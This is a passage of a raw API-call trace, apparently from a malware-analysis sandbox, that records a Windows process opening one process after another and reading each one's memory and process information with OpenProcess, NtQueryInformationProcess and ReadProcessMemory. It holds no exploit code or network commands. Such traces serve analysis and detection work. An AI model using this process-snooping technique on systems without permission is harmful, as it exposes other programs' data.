ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.168] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.179] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.180] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.183] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.183] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x212020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.184] malloc (_Size=0x72) returned 0x196ef0d31b0 [0284.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.185] free (_Block=0x196ef0d31b0) [0284.185] CloseHandle (hObject=0x464) returned 1 [0284.186] _ui64tow_s (in: _Value=0xe10, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0284.191] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3600") returned 4 [0284.192] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.192] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.207] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x464 [0284.208] GetLastError () returned 0x0 [0284.208] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.208] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x302018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.208] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.209] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.209] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1918f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.210] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.211] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.211] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x302020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.211] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.211] malloc (_Size=0x64) returned 0x196ef0d06f0 [0284.212] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191954, lpBuffer=0x196ef0d06f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0284.212] free (_Block=0x196ef0d06f0) [0284.213] CloseHandle (hObject=0x464) returned 1 [0284.213] _ui64tow_s (in: _Value=0xe18, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3608") returned 0x0 [0284.232] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3608") returned 4 [0284.233] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.233] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.248] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe18) returned 0x464 [0284.249] GetLastError () returned 0x0 [0284.249] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.249] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36b018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.249] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.250] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451d80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.250] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4518f8, lpBuffer=0x670f7c2b0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.251] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.252] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.252] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36b020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.252] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4512e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.252] malloc (_Size=0xa2) returned 0x196ef0d75f0 [0284.252] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451992, lpBuffer=0x196ef0d75f0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d75f0*, lpNumberOfBytesRead=0x0) returned 1 [0284.253] free (_Block=0x196ef0d75f0) [0284.254] CloseHandle (hObject=0x464) returned 1 [0284.254] _ui64tow_s (in: _Value=0xe28, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0284.258] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3624") returned 4 [0284.259] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.259] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.288] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x464 [0284.288] GetLastError () returned 0x0 [0284.288] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.289] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.289] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.290] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.291] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.291] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.291] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.292] malloc (_Size=0x8c) returned 0x196ef0d6220 [0284.292] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f197c, lpBuffer=0x196ef0d6220, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6220*, lpNumberOfBytesRead=0x0) returned 1 [0284.292] free (_Block=0x196ef0d6220) [0284.293] CloseHandle (hObject=0x464) returned 1 [0284.294] _ui64tow_s (in: _Value=0xe30, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3632") returned 0x0 [0284.298] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3632") returned 4 [0284.299] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.299] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.329] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe30) returned 0x464 [0284.329] GetLastError () returned 0x0 [0284.329] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.329] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x32e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.329] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.330] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.330] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d18f8, lpBuffer=0x670f7c2b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.331] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.333] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x32e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.333] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0284.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d195e, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.334] free (_Block=0x196ef0d31b0) [0284.334] CloseHandle (hObject=0x464) returned 1 [0284.335] _ui64tow_s (in: _Value=0xe40, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3648") returned 0x0 [0284.340] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3648") returned 4 [0284.341] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.341] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.362] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe40) returned 0x464 [0284.362] GetLastError () returned 0x0 [0284.363] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.363] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x35b018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.363] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.364] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1ca0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.364] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x670f7c2b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.365] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.367] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.367] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x35b020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.367] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.367] malloc (_Size=0x5a) returned 0x196ef0d03e0 [0284.367] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e194a, lpBuffer=0x196ef0d03e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0284.368] free (_Block=0x196ef0d03e0) [0284.369] CloseHandle (hObject=0x464) returned 1 [0284.369] _ui64tow_s (in: _Value=0xe48, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3656") returned 0x0 [0284.374] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3656") returned 4 [0284.376] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.376] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.392] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe48) returned 0x464 [0284.392] GetLastError () returned 0x0 [0284.392] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.392] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.393] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.393] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.393] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f18f8, lpBuffer=0x670f7c2b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.394] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.395] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.395] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.395] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.396] malloc (_Size=0x76) returned 0x196ef0d2120 [0284.396] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0284.396] free (_Block=0x196ef0d2120) [0284.397] CloseHandle (hObject=0x464) returned 1 [0284.397] _ui64tow_s (in: _Value=0xe54, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3668") returned 0x0 [0284.401] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3668") returned 4 [0284.413] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.413] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.429] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe54) returned 0x464 [0284.429] GetLastError () returned 0x0 [0284.429] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.429] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.429] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.430] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.430] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.431] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.432] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.432] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.432] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.432] malloc (_Size=0x60) returned 0x196ef0d03e0 [0284.432] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0284.433] free (_Block=0x196ef0d03e0) [0284.433] CloseHandle (hObject=0x464) returned 1 [0284.434] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0284.438] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3676") returned 4 [0284.439] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.439] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.469] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x464 [0284.470] GetLastError () returned 0x0 [0284.470] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, 